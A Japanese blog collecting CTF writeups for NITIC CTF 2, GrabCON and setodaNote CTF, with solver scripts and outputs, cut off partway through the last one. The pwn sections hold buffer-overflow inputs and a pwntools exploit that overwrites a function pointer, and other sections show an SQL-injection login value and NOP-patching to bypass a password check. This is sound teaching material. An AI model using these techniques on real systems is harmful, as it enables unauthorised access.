日記帳

CTFのWriteupや雑記など

NITIC CTF 2 Writeup

Satoooon氏(twitter)にseccampにて本CTFについて教えていただき、ゆるゆると参加させていただきました。初心者の方が多く参加されているらしいので、いつも書いているWriteupよりも説明を多めに入れています。

主催者の皆様、素晴らしい時間をありがとうございました。

Web

web_meta

配布されたHTMLファイルの7行目にFlagが書かれています。

    <meta name="description" content="flag is nitic_ctf{You_can_see_dev_too1!}">

Flag: nitic_ctf{You_can_see_dev_too1!}

long flag

問題文にてURLが渡されているのでアクセスしてみると、なにも無い (ように見える) ページが表示されます。HTMLソースを読むことでFlagは一文字ずつ span タグに囲まれた上で display: none; スタイルによって隠されていることなどがわかります。以下は幾つか存在する解き方の一例です。

>>> import requests
>>> requests.get('https://quizzical-mcnulty-e4cdbf.netlify.app/').content.decode().replace('<span>','').replace('</span>','')[301:-469]
'nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}'

Flag: nitic_ctf{Jy!Hxj$RdB$uA,b$uM.bN7AidL6qe4gkrB9dMU-jY8KU828ByP9E#YDi9byaF4sQ-p/835r26MT!QwWWM|c!ia(ynt48hBs&-,|3}

Pwn

pwn monster 1

バッファオーバーフロー脆弱性を突く問題です。

$ nc 35.200.120.35 9001
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key


Welcome to Pwn Monster World!

I'll give your first monster!

Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Input name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x4141414141414141 |  4702111234474983745 |
|ATK     | 0x4141414141414141 |  4702111234474983745 |
+--------+--------------------+----------------------+
OK, Nice name.

Let's battle with Rival! If you win, give you FLAG.

[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: 9999
Your Turn.

Rival monster took 4702111234474983745 damage!


[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApwnchu HP: 4702111234474983745
[Rival] pwnchu HP: -4702111234474973746
Win!

nitic_ctf{We1c0me_t0_pwn_w0r1d!}

Flag: nitic_ctf{We1c0me_t0_pwn_w0r1d!}

pwn monster 2

配布されたソースコードを読むことで各種値を格納している変数の型が int64_t であり、チェックサムを突破した上で変数の値をオーバーフローさせられるだろうことがわかります。pwn monster 1 と同じようにバッファオーバーフロー脆弱性を突き、相手の体力値をオーバーフローさせて負の値にすることでFlagを入手することができます。

$ echo -e "AAAAAAAAAAAAAAAA\x6f\x00\x00\x00\x00\x00\x00\x30\xff\xff\xff\xff\xff\xff\xff\xcf" | nc 35.200.120.35 9002
 ____                 __  __                 _
|  _ \__      ___ __ |  \/  | ___  _ __  ___| |_ ___ _ __
| |_) \ \ /\ / / '_ \| |\/| |/ _ \| '_ \/ __| __/ _ \ '__|
|  __/ \ V  V /| | | | |  | | (_) | | | \__ \ ||  __/ |
|_|     \_/\_/ |_| |_|_|  |_|\___/|_| |_|___/\__\___|_|
                        Press Any Key

Welcome to Pwn Monster World!
I'll give first monster!
Let's give your monster a name!
+--------+--------------------+----------------------+
|name    | 0x0000000000000000 |                      |
|        | 0x0000000000000000 |                      |
|HP      | 0x0000000000000064 |                  100 |
|ATK     | 0x000000000000000a |                   10 |
+--------+--------------------+----------------------+
Checksum: 110
Input name: +--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x300000000000006f |  3458764513820541039 |
|ATK     | 0xcfffffffffffffff | -3458764513820540929 |
+--------+--------------------+----------------------+
Checksum: 110
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] AAAAAAAAAAAAAAAAo HP: 3458764513820541039
[Rival] pwnchu HP: 9999
Your Turn.
Rival monster took -3458764513820540929 damage!
[You] AAAAAAAAAAAAAAAAo HP: 3458764513820541039
[Rival] pwnchu HP: 3458764513820550928
Rival Turn.
Your monster took 9999 damage!
[You] AAAAAAAAAAAAAAAA`������/��������pwnchu HP: 3458764513820531040
[Rival] pwnchu HP: 3458764513820550928
Your Turn.
Rival monster took -3458764513820540929 damage!
[You] AAAAAAAAAAAAAAAA`������/��������pwnchu HP: 3458764513820531040
[Rival] pwnchu HP: 6917529027641091857
Rival Turn.
Your monster took 9999 damage!
[You] AAAAAAAAAAAAAAAAQ������/��������pwnchu HP: 3458764513820521041
[Rival] pwnchu HP: 6917529027641091857
Your Turn.
Rival monster took -3458764513820540929 damage!
[You] AAAAAAAAAAAAAAAAQ������/��������pwnchu HP: 3458764513820521041
[Rival] pwnchu HP: -8070450532247918830
Win!
nitic_ctf{buffer_and_1nteger_overfl0w}

Flag: nitic_ctf{buffer_and_1nteger_overfl0w}

pwn monster 3

問題文内で言及されている通り本問題では PIE という実行バイナリのセキュリティ機構が有効化されており、単純に呼び出す関数のアドレスを show_flag 関数のアドレスに書き換えるだけではFlagを入手することができません。objdump 等を用いることで cry 関数と show_flag 関数のオフセットを把握し、出力される cry 関数のアドレスからベースアドレスを求め、それに show_flag 関数のオフセットを加算したアドレスを入力することでFlagを入手することができます。

Solver:

from pwn import *
from struct import pack

r = remote('35.200.120.35', 9003)

r.recvuntil('|cry()   | ')
base_addr = int(r.recvuntil(' |')[:-2], 16) - 0x134e

payload = b'A' * 32
payload += pack('<Q', base_addr + 0x1286)

r.sendlineafter('Input name: ', payload)
r.interactive()

Output:

> python .\solve.py
[x] Opening connection to 35.200.120.35 on port 9003
[x] Opening connection to 35.200.120.35 on port 9003: Trying 35.200.120.35
[+] Opening connection to 35.200.120.35 on port 9003: Done
[*] Switching to interactive mode
+--------+--------------------+----------------------+
|name    | 0x4141414141414141 |             AAAAAAAA |
|        | 0x4141414141414141 |             AAAAAAAA |
|HP      | 0x4141414141414141 |  4702111234474983745 |
|ATK     | 0x4141414141414141 |  4702111234474983745 |
|cry()   | 0x0000561bd7fc3286 |                      |
+--------+--------------------+----------------------+
OK, Nice name.
Let's battle with Rival! If you win, give you FLAG.
[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�2�� HP: 4702111234474983745
[Rival] pwnchu HP: 9999
Your Turn.
nitic_ctf{rewrite_function_pointer_is_fun}

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�2��: (null)
Rival monster took 4702111234474983745 damage!
[You] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�2�� HP: 4702111234474983745
[Rival] pwnchu HP: -4702111234474973746
Win!
Rival: I don't want to give you FLAG! bye~~
[*] Got EOF while reading in interactive

Flag: nitic_ctf{rewrite_function_pointer_is_fun}

Misc

excel

Excelの検索機能で nitic_ctf{ を検索することでFlagを入手することができます。(U869セル)

Flag: nitic_ctf{plz_find_me}

image_conv

Steg問を解くツール ()で画像を加工すれば (LSB Half など) Flagを入手することができます。

f:id:m0pisec:20210905220833p:plain

Flag: nitic_ctf{high_contrast}

Rev

protected

平文でパスワードが格納されているので Ghidrastrings などを使ってパスワードを入手し、プログラムに入力することでFlagを入手することができます。

$ ./chall
PASSWORD: sUp3r_s3Cr37_P4s5w0Rd
nitic_ctf{hardcode_secret}

Flag: nitic_ctf{hardcode_secret}

report or repeat

Ghidra等でプログラムが何をしているのか詳しく見ていくと、暗号化処理等は行われておらず、XORでデータをエンコードしているだけだとわかります。 エンコード処理を行っている関数と逆の処理をするソルバを書くことで、Flagの書かれたPDFファイルを復元することができます。

ソルバを書く際に凡ミスして1時間くらい溶かしました(落単不可避)。

Solver:

import struct

key1 = bytearray(b'\x06\x8c\x77\x86\x11\xed\x25\x89\x66\x64\x79\x7d\xc9\x0d\xa5\x99\x44\x6b\x71\x47\xaa\x9e\x1b\x0a\xc3\xbf\x1e\x6e\xa6\x82\xf0\x61\x84\x35\x42\x90\x87\xb2\xb0\xc2\x3d\xf4\x12\x73\x45\x3e\xe9\xcd\x26\x41\x33\xa4\x5b\x2d\x53\xe8\x3a\xc5\xbc\x18\xe5\xba\x81\xeb\x58\x9f\x49\xcc\x2f\xac\xcf\x8a\x0b\x48\x24\x9c\xa2\xb4\x15\xd0\x1f\x19\xd3\x16\xf3\x07\x4b\x78\x80\x34\xe2\x31\xc1\x57\x00\x7e\x5e\x70\x54\x21\x69\x9b\x46\x6a\xb6\xcb\x9a\x40\xb9\x17\x6d\x59\xfc\xea\x60\x32\xdf\x75\xe3\x62\x38\xa7\x85\xd7\x03\xf1\x83\xb5\x55\x5f\xee\xfd\xad\x0e\x6c\xa3\x20\xc0\x13\x08\x02\x5a\x72\x9d\x5d\xfb\x88\x93\xf9\x39\x74\xd8\xd2\x4f\x04\x67\x3f\xce\xe1\x4d\xd5\xca\x2c\x94\x2b\xdb\x09\x2a\x37\xe7\x95\x29\x4e\x22\x01\x0f\xdc\xd4\xc8\x56\x7a\x14\xf8\xb8\x30\x43\xa8\xa9\xf5\x8d\x5c\xab\x6f\x96\x1a\x23\x4a\x0c\x2e\x51\xd6\x92\xc7\x52\x8e\xe4\x4c\x65\x68\x97\xbb\x05\xdd\xbe\xef\x8b\xb7\x98\x76\xc4\xda\xb3\x7b\xa1\x36\xa0\x91\xaf\xf6\xfa\xe0\x10\x27\x1c\xbd\xfe\x50\xde\x7c\xf2\xb1\xae\xc6\xd9\xe6\x3c\xd1\x7f\xff\x63\x1d\xec\x3b\x8f\x28\xf7')
key2 = bytearray(b'\x57\x85\x0e\x3b\xa5\x2f\x4c\x0a\x71\x75\xd5\x05\xff\x0b\x44\x2a\xd4\xb5\x11\xfa\x67\x23\xbd\xac\x9c\x47\x9d\x22\x5a\xef\x63\x39\xe5\xbf\x7e\x46\x64\xe3\x2e\xd1\xb9\x40\x92\x88\xa9\xa3\x02\x50\xc4\x35\x7d\x36\xcf\xe9\xb8\x96\xad\x98\x66\x74\x86\xc3\xec\x0f\x1c\x51\xe8\x1f\xc1\xd9\x16\x7f\xc0\xa8\xf4\x34\xc2\x19\x37\xea\x18\x42\x8b\xed\xda\xa1\x28\x1e\x3c\x6e\xa7\x8a\x09\x95\x94\x6d\x9e\x3d\x4a\x8f\x8c\x27\x5f\xe7\xde\xf8\xe0\x72\x6a\x82\x91\xeb\x08\xf9\xf5\xe2\x21\x2d\xe1\xf3\xc6\xba\x7a\x73\x01\x5d\xce\x3f\x59\xee\xcb\x60\x41\xd2\x58\xf6\xb4\x55\x78\x62\x70\x4e\xb2\xa4\xbb\xdb\xdc\x29\x9b\x97\xf7\x24\x76\x4b\x93\xa0\x43\xcc\x7b\xe6\x38\xa2\x65\xc5\xd8\x3a\x26\x8d\x69\xc7\xbc\x07\x25\xb1\x5e\xfb\xb0\x13\x77\xaf\x49\x99\xcd\xca\x04\xbe\x6c\xb7\x56\x6b\x17\x80\x87\x2b\x45\x81\x8e\x68\xf1\x53\x33\xa6\xfd\xd3\x0d\x2c\x14\x7c\x20\x83\x90\x4f\x1a\x89\xf0\xfe\x32\xdf\xd6\x06\x1b\xd0\xaa\xae\x79\xdd\x84\xe4\x03\x12\x9a\x6f\xab\xd7\x1d\x3e\xc9\x0c\x9f\x30\x10\x54\xb3\xf2\x15\x61\x5c\xb6\x31\x5b\x4d\xc8\xfc\x48\x52\x00')
key3 = bytearray(b'\x72\x1e\xec\x52\x38\xe9\xb5\xc2\x46\x47\x75\x1f\x53\x0f\xea\x27\xcf\x57\xd7\x6e\x8c\x8c\x89\x2a\xf2\x86\x8a\x7b\x19\x7a\x2e\x01\xab\x15\x08\xd3\x2b\x5b\x9f\x7c\x86\xde\x5d\x98\x3c\x6f\x82\x58\xf2\xea\x85\x62\xa5\x77\xf3\x9e\x3e\x37\x10\x8b\x9e\xa0\x71\x1b\xce\x9d\x7e\x2f\xb3\x17\x01\x65\x14\x5c\x79\x2f\xad\xe1\x28\xf9\x55\x92\x3a\x69\x1f\x12\x5e\xa6\x41\xa4\xdb\xda\x47\x3b\xe3\x28\x08\x09\xe9\x9c\xfa\x22\x7c\x62\xd2\x05\x28\x86\x95\xe4\x45\x8e\xd2\xe7\xeb\x66\xed\x58\x64\x42\xba\xa9\x70\x21\xa0\x91\x51\x68\xff\x7e\xa9\x6c\x12\x33\xbb\x7a\xde\x1b\xe0\xed\xce\x7c\x04\x01\xcf\x23\x17\x36\x78\x1b\x06\xd3\x5e\x25\x5e\x98\x86\x50\x4a\x0d\x31\x0c\x39\x96\x6e\x72\x2b\xc2\x0f\x31\xdd\x4c\xd7\x44\xa9\xf9\xb7\xed\x40\xb9\x68\x73\xa6\xb0\xef\x3e\x2e\x37\x03\xb6\xe4\x4c\xcb\x5d\x83\x74\x10\xf0\x54\x62\xc1\x28\xdf\x5c\xff\xa7\x6e\x84\x59\x39\xeb\x63\xa0\x5b\x17\x3d\x97\xee\xcb\x8b\x21\x7b\x77\x98\xd5\xa9\x59\x44\x8d\x38\x70\x06\xef\x7b\x63\x10\x07\x44\x51\xe9\x89\x29\xce\x3d\x5a\x4a\x0c\x33\x32\x21\x65\xd1\x6d\x7f\xd5\x81')

def decode(enc):
    res = [0] * 0x100
    for i in range(0x100):
        j = enc[i] ^ key3[i]
        res[key2[i]] = key1.index(j)
    return res

encoded = open('report.pdf.enc', 'rb')
decoded = open('report.pdf', 'wb')

while True:
    dat = []
    for _ in range(0x100):
        try:
            dat.append(ord(encoded.read(1)))
        except TypeError:
            continue
    if dat == []: break
    dec = decode(dat)
    for i in range(0x100):
        decoded.write(struct.pack("B", dec[i]))

Output:

> python .\solve.py

f:id:m0pisec:20210906163813p:plain

Flag: nitic_ctf{xor+substitution+block-cipher}

Crypto

Caesar Cipher

CyberChefなどのツールを用いることでFlagを入手することができます。

Flag: nitic_ctf{caesar}

ord_xor

配布されたPythonプログラムを一部書き換えて実行することでFlagを入手することができます。

Solver:

encoded = open('flag', 'r').read()

def xor(c: str, n: int) -> str:
    temp = ord(c)
    for _ in range(n):
        temp ^= n
    return chr(temp)


flag = ""
for i in range(len(encoded)):
    flag += xor(encoded[i], i)

print(flag)

Output:

> python .\solve.py
nitic_ctf{ord_xor}

Flag: nitic_ctf{ord_xor}

tanitu_kanji

配布されたPythonプログラムを一部書き換えて実行することでFlagを入手することができます。

Solver:

alphabets = "abcdefghijklmnopqrstuvwxyz0123456789{}_"
after1    = "fl38ztrx6q027k9e5su}dwp{o_bynhm14aicjgv"
after2    = "rho5b3k17pi_eytm2f94ujxsdvgcwl{}a086znq"

encoded = open('flag', 'r').read()

def conv(s: str, table: str) -> str:
    res = ""
    for c in s:
        i = table.index(c)
        res += alphabets[i]
    return res

res = ''

for f0 in ['0', '1']:
    for f1 in ['0', '1']:
        for f2 in ['0', '1']:
            for f3 in ['0', '1']:
                for f4 in ['0', '1']:
                    for f5 in ['0', '1']:
                        for f6 in ['0', '1']:
                            for f7 in ['0', '1']:
                                for f8 in ['0', '1']:
                                    for f9 in ['0', '1']:
                                        flag = encoded
                                        fmt = f0+f1+f2+f3+f4+f5+f6+f7+f8+f9
                                        for f in fmt:
                                            if f == "1":
                                                flag = conv(flag, after1)
                                            else:
                                                flag = conv(flag, after2)
                                        if 'nitic' in flag:
                                            print('Format: ' + fmt)
                                            print('Flag:   ' + flag)

Output:

> python .\solve.py
Format: 1110010011
Flag:   nitic_ctf{bit_full_search}

Flag: nitic_ctf{bit_full_search}

Welcome

アンケート

i am member of Satoooon-san fan club :)

Flag: nitic_ctf{Thank_you_for_answering_the_questionnaire}

GrabCON CTF Writeup (Rev)

皆様お疲れ様でした。Revを4問解いたのでWriteup公開します。

f:id:m0pisec:20210905114054p:plain

Baby Rev

Ghidraなどのツールが正常に逆コンパイルできないバイナリを渡されて、そこからFlagを求める問題。多分 gdb など使えばスムーズに解けますが、泥臭く静的解析のみで解くのであれば以下のような手順を辿ります。

# 逆アセンブル結果を読むと、明らかに怪しいXOR処理があるので試す
>>> hex(0x99dfdf8d ^ 0xdeadbeef)
'0x47726162'
>>> flag_p1 = bytearray(b'\x47\x72\x61\x62')
>>> for ech in flag_p1:
...     print(chr(ech),end='')
...
Grab
# Flagの形式は "GrabCON{xxx}" なので、同じようにFlagを求めていく
# XORのkeyは全て "0xdeadbeef" である

Flag: GrabCON{x0rr3d_4way_3ff10}

コンパイル結果に頼っている人にとってはツライかもですが、まあbabyなrev問だと思います。

easy_rev

整数値を比較してるだけ。

$ ./baby_re_2
Looking for the flag?
Enter the key: 1312389
GrabCON{y0u_g0t_it_8bb31}

babyより簡単では......?

Flag: GrabCON{y0u_g0t_it_8bb31}

Unknown

strings に投げるとUPXパッカーでパックされていることがわかるので、まずは実行バイナリをアンパックする。

# オリジナルのバイナリは消滅 (上書き) されるので注意
$ ./upx -d med_re_1

Ghidraで開いてみて、Access Granted が出力された後に呼ばれる関数を中心に静的解析する。

f:id:m0pisec:20210905093853p:plain

ここでFlagをデコードしていることがわかるので (param_1 は定数で 1) 以下のように解いた。

Solver:

>>> enc_flag = bytearray(b'\x48\x73\x62\x63\x44\x50\x4f\x7c\x74\x75\x73\x32\x6f\x68\x74\x60\x6e\x35\x68\x6a\x64\x60\x35\x35\x31\x67\x32\x7e')
>>> for i in range(len(enc_flag)):
...     print(chr((enc_flag[i] & 0xFF) - 1),end='')
...
GrabCON{str1ngs_m4gic_440f1}

Flag: GrabCON{str1ngs_m4gic_440f1}

Unknown 2

Unknownと同じくUPXパッカーでパックされているので、まずアンパックします。

# オリジナルのバイナリは消滅 (上書き) されるので注意
$ ./upx -d med_re_2

Ghidraで開くとGo言語で書かれていそうだったのでgotoolsを解析環境に導入して解析を進めることにしました。最新版のGhidra (v10.x) には対応していないようだったので、古いバージョンのGhidra (v9.0.4) も併せて導入しました。

f:id:m0pisec:20210905095632p:plain
GoバイナリとしてImportする

main.main を解析すると、何をしても絶対に次の処理 (main.one 関数) に進まないことがわかります。BaseAddress+0x3f96 辺りにあるCMP命令とJNZ命令をNOPにパッチしておきましょう。

main.one 関数を見ていくと文字列を比較していると思われる部分を見つけることができます。細かく解析するのも面倒だったので、NOPで埋めて何を入力してもFlagを出力するようパッチを当てました。

f:id:m0pisec:20210905112522p:plain
こんな感じです

これを実行すればFlagを入手することができます。

$ ./med_re_2

___.          .__
\_ |__ _____  |  | _____    ____   ____  ____
 | __ \\__  \ |  | \__  \  /    \_/ ___\/ __ \
 | \_\ \/ __ \|  |__/ __ \|   |  \  \__\  ___/
 |___  (____  /____(____  /___|  /\___  >___  >
     \/     \/          \/     \/     \/    \/


Enter the password:

Here ya go -> GrabCON{ 626c61636b647261676f6e }

Flag: GrabCON{626c61636b647261676f6e}

setodaNote CTF Writeup

色々な問題をゆる~く解いたので、Writeupを共有させていただきます。

主催者のsoji256様 (twitter) 、素晴らしい時間をありがとうございました。

Misc

Welcome

$ cat welcome.txt 

  Welcome to the setodaNote CTF!!

  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  *                                 *
  *   flag{Enjoy_y0ur_time_here!}   *
  *                                 *
  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

  This is the flag.

Flag: flag{Enjoy_y0ur_time_here!}

morse_one

配布されたテキストをここに投げればFlagを入手することができる。

Flag: flag{VIBROPLEX}

Hash

Solver:

import hashlib
import os

hashes = ['aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7',
          '8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb',
          'e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962']
flag = b''

for tfn in os.listdir():
    with open(tfn, 'rb') as tf:
        dat = tf.read()
        mhash = hashlib.sha256(dat).hexdigest()
        for nhash in hashes:
            if nhash == mhash:
                flag += dat[:-1]

print(flag.decode())

Output:

> python .\solver.py
flag{hardest_logic_puzzle}

F

Brainf*ckだとわかるので、オンラインのインタプリタ () 上で実行するとFlagを入手することができる。

Flag: flag{Don't_Use_the_F-Word!!}

magic_number

スクリプトを書くか迷ったが、ファイル数が少なかったので手動(バイナリエディタを用いて)調査した。

Flag: flag{post_rar_light}

Stegano

StegSolve等で画像を調べればFlagを入手することができる。

Flag: flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9}

ransom_note

問題文に書いてある通り、The No More Ransom ProjectのWebsiteから復号ツールを探して配布されたZIPファイルを解凍したフォルダを対象に指定して復号すればFlagを入手することができる。

Flag: flag{unlock1ng_y0ur_d1gital_life_with0ut_paying;)}

Redacted

LibreOffice Drawなどのツールを用いて黒塗り部分を削除することでFlagを入手することができる。

f:id:m0pisec:20210826050602p:plain

Flag: flag{weather_balloon}

Network

Host

Wiresharkなどのツールを用いて配布されたpcapファイルを読むことで、Webサーバーのホスト名は ctf.setodanote.net であることがわかる。

f:id:m0pisec:20210824082308p:plain

Flag: flag{ctf.setodanote.net}

tkys_never_die

Wiresharkなどのツールを用いて配布されたpcapファイルから flag.png をエクスポートすることでFlagを入手することができる。

f:id:m0pisec:20210824082641p:plain

Flag: flag{a_treasure_trove}

echo_request

Echo Requestのデータ部分に一文字ずつFlagが格納されているので、文字に変換して結合するとFlagを入手することができる。
下では tshark および Python を用いてワンライナーでFlagを求めている。

$ tshark -r ./echo_request.pcap -Y '28<frame.number<55' -T fields -e data | python3 -c "import sys; [print(chr(int(l, 16)),end='') for l in list(sys.stdin)]; print()"
flag{ICMP_Tunneling_T1095}

Flag: flag{ICMP_Tunneling_T1095}

stay_in_touch

Wiresharkを用いてpcapngファイル内のTCPストリームを追跡していくと、ZIPファイルがやり取りされていること、そのパスワードが Yatagarasu-Takama-Kamuyamato2 であるなどの情報を得ることができる。以下のような手順を用いることでFlagを入手することができる。

$ echo 'UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hRUgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAgAAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA' | base64 -d > t.zip
$ unzip t.zip
Archive:  t.zip
[t.zip] Report-AV-T0097.txt password:
 extracting: Report-AV-T0097.txt
$ cat Report-AV-T0097.txt
This is Flag.

 flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}

Flag: flag{SoNtOkIhAmOuKaTaHoUmOtSuMuRuNoSa;)}

Digdig

まずtsharkやPythonでFlagの格納されているクエリ部分(加工済)を抽出する。

$ tshark -r digdig.pcap -Y '14 < frame.number' -T fields -e dns.qry.name | awk '(NR % 4 == 0){print}' | python3 -c "import sys; [print(l[6:8] + ' : ' + l[8:24]) for l in list(sys.stdin)];"
02 : 735f69735f44414d
06 : 63655f7472795f53
03 : 4d595f464c41477d
08 : 5f746861747d2066
0a : 6c61677b444e535f
0b : 5333637572313779
07 : 6f7272795f666f72
04 : 20666c6167206973
09 : 6c61672069732066
0c : 5f5431303731217d
11 : 797d323232323232
0d : 20666c6167206973
0f : 335f6b33795f3135
0e : 20666c61677b3768
01 : 666c61677b546869
10 : 5f35336375723137
00 : 666c616720697320
05 : 20666c61677b4e69

雑に手動でソートして、以下のようなスクリプトを実行することでFlagを入手することができる。

Solver:

import re

dat = ['666c616720697320','666c61677b546869','735f69735f44414d','4d595f464c41477d','20666c6167206973','20666c61677b4e69','63655f7472795f53','6f7272795f666f72','5f746861747d2066','6c61672069732066','6c61677b444e535f','5333637572313779','5f5431303731217d','20666c6167206973','20666c61677b3768','335f6b33795f3135','5f35336375723137','797d323232323232']

for fd in dat:
    for fc in re.split('(..)',fd)[1::2]:
        print(chr(int(fc, 16)), end='')
    print('\n==========')

Output:

$ python3 digsolve.py
flag is
==========
flag{Thi
==========
s_is_DAM
==========
MY_FLAG}
==========
 flag is
==========
 flag{Ni
==========
ce_try_S
==========
orry_for
==========
_that} f
==========
lag is f
==========
lag{DNS_
==========
S3cur17y
==========
_T1071!}
==========
 flag is
==========
 flag{7h
==========
3_k3y_15
==========
_53cur17
==========
y}222222
==========

Flag: flag{DNS_S3cur17y_T1071!}

Logger

USB通信を記録したpcapなので、まずLeftover Capture Dataを抽出する。
(今回は usblog.txt というファイルに結果を保存した。)

$ tshark -r logger.pcap -T fields -e usb.capdata | awk '(NR % 2 != 0){print}'
0200000000000000
0200120000000000
0200000000000000
・        ・
・ 長いので省略 ・
・        ・
0000000000000000
0000280000000000
0000000000000000

その上でこのWriteupを参考に組み上げたスクリプトを実行すればFlagを入手することができる。
(スクリプトはほぼそのまま流用可能なので、こちらでソルバは掲載しない)

Flag: flag{QWE_keyb0ard_RTY}

Web

Body

問題名通り、HTMLソースの86行目にFlagが書かれている。

Flag: flag{Section_9}

問題名通り、ヘッダにFlagが書かれている。

Flag: flag{Just_a_whisper}

puni_puni

日本語URL変換ツールなどを使用すればFlagを入手することができる。

Flag: flag{33punycode44}

Mistake

images ディレクトリ内にFlagの書かれたテキストファイルが設置してあります。(リンク)

Flag: flag{You_are_the_Laughing_Man,_aren't_you?}

tkys_royale

ユーザー名に admin' -- のような値を入れてログインするとFlagを入手することができる。

Flag: flag{SQLi_with_b1rds_in_a_b34utiful_landscape}

Estimated

削除された記事自体は閲覧できなかったが、削除された記事の画像にはアクセスできたので、画像を見ることによってFlagを入手することができる。
(画像のURLは他記事の画像のURLから推測可能)

f:id:m0pisec:20210825050424p:plain

Flag: flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}

Redirect

JavaScriptコードによって彼方此方にリダイレクトしていくので、curlコマンドを使いながら(パラメータ等を調整しながら)追跡していけばFlagを入手することができる。

$ curl "https://noisy-king-d0da.setodanote.net/?callback=getFlag&data1=2045&data2=0907&data3=BiancoRoja&data4=1704067200"
<!DOCTYPE html>
<body>
  <h1>Nice work!!</h1>
  <p>flag{Analyz1ng_Bad_Red1rects}</p>
</body>

Flag: flag{Analyz1ng_Bad_Red1rects}

OSINT

tkys_with_love

Google画像検索を使用するだけでFlagを入手することができる。

Flag: flag{Symphony_of_the_Seas}

Dorks

知識問。

Flag: flag{inurl:login.php}

filters_op

答えTwitterの検索フィルタについて知っていれば解ける。

Flag: flag{#WannaCrypt}

MAC

問題名および例示からMACアドレスのベンダー名の頭文字が対応する文字だとわかる。この法則に則って変換していけば、Flagを入手することができる。

Flag: flag{O_U_I_Y_A}

tkys_eys_only

40.749444N 73.968056WGoogle Mapで検索するだけ。

Flag: flag{United_Nations}

MITRE

MITRE ATT&CKの識別子に関連していることが問題文から予測できるので、とりあえず T1495T1152T1155T1144 T1130T1518 の解読を試みる。

T1495 : Firmware Corruption
T1152 : Launchctl
T1155 : AppleScript
T1144 : Gatekeeper Bypass

頭文字を繋ぎ合わせると FLAG になるため、それぞれのIDが指すテクニックの頭文字を繋ぎ合わせたものがFlagだとわかる。この法則に則って文字列を変換すればFlagを入手することができる。

Flag: flag{MITRE_ATTACK_MATLIX_THX}

Ropeway

Google画像検索に画像をアップロードすれば、浜名湖オルゴールミュージアム舘山寺ロープウェイの近くであることがわかる。

Flag: flag{kanzanji}

Crypto

Base64

$ echo 'ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==' | base64 -d
flag{It's_called_base64!}

Flag: flag{It's_called_base64!}

ROT13

$ echo "synt{Rira_lbh_Oehghf?}" | python3 -c 'import sys, codecs; print(codecs.decode(sys.stdin.read(), "rot13"))'
flag{Even_you_Brutus?}

Flag: flag{Even_you_Brutus?}

pui_pui

Solver:

dat = bytearray(b'\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a')
for fch in dat: print(chr(fch),end='')

Output:

> python .\puipui_solver.py
A:Do you know Molcar?

